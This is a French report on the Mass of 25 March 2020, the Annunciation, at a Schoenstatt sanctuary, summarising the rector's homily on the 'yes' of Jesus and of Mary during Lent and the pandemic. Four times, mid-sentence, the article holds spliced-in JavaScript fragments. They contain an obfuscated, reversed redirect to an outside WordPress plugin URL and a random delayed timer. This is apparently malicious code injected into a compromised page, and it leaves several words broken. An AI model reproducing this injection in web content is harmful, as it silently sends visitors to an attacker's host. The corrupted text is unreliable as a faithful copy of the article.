La célébration eucharistique de ce mercredi, 25 mars 2020, Annonciation du Seigneur, a été présidée par le Recteur du Sanctuaire, Père Herménégilde COYITUNGIYE. Elle a eu lieu dans l’église de la Sainte Trinité et a été animée par la chorale Saint Martin.

Dans son mot d’introduction, l’officiant a tenu à informer les fidèles que la célébration de la solennité de l’Annonciation du Seigneur prime sur la férie de Carême et on chante toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donc le Gloria. Signalons qu’à l’exception du 25 mars, les autres jours de cette période de conversion et de préparation à la fête de Pâques, l’Alléluia et le Gloria sont omis.

Les Saintes Ecritures ont été tirées du livre du prophète Isaïe (Is 7, 10-14 ; 8, 10), de la lettre aux Hébreux (He 10, 4-10) et de l’Evangile selon saint Luc (Lc 1, 26-38).

Dans son homélie, le Recteur est parti de ladite date pour montrer aux chrétiens qu’en y additionnant neuf mois on trouve exactement le 25 décembre, date à laquelle nous célébrons la naissance de Jésus. Donc, à partir du 25 mars, Jésus entre dans les entrailles de la Vierge Marie, y prend chair et devient homme. Il a poursuivi avec cette période actuelle en rappelant à l’assemblée de Dieu qu’elle vient de totaliser quatre bonnes semaines. Notons que cette année est un peu exceptionnelle du fait de la ptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andémie du coronavirus qui sévit dans le monde.

Il a continué en analysant ce temps qui est vécu par certains comme si de rien n’était. Pour ces gens, il n’y a pas de différence entre le Carême et la Pâques, ils vaquent à leurs activités, boivent, mangent sans passer un seul instant avec le Seigneur Jésus ou penser à Lui. Il leur a demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andé de prendre du temps pour penser aux difficultés qui entravent le monde, au OUI de Jésus en quittant le ciel pour venir nous sauver mais aussi au OUI de la Vierge Marie. Parlant de ces deux OUI, le Recteur a tenu à les expliquer. Le OUI de Jésus est totalement différent de celui de sa Mère. Jésus en disant OUI, il savait très exactement toutes les conséquences mais la Vierge Marie pas du tout. Les conséquences lui seront dévoilées plus tard par le vieux Siméon.

Dans son dernier paragraphe, le célébrant a invité les fidèles à imiter Jésus en quittant leur zone de confort et en acceptant de faire des sacrifices afin que Dieu éclaire le monde. L’autre point développé est la peur qui paralyse bon nombre de chrétiens. Pour lui, cette peur réside dans le fait qu’ils se sont détournés de Dieu, qu’ils ont oublié le pourquoi de la venue de Jésus sur terre et qu’ils vivent constamment dans le péché. Il a conclu son homélie en les invitant à prendre du temps de s’auto-sanctificatier à l’exemple du Père Joseph Kenetenich s’adressant aux jeunes dans le premier toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}document de Fondation de Schoenstatt.

Germain NAHIMANA

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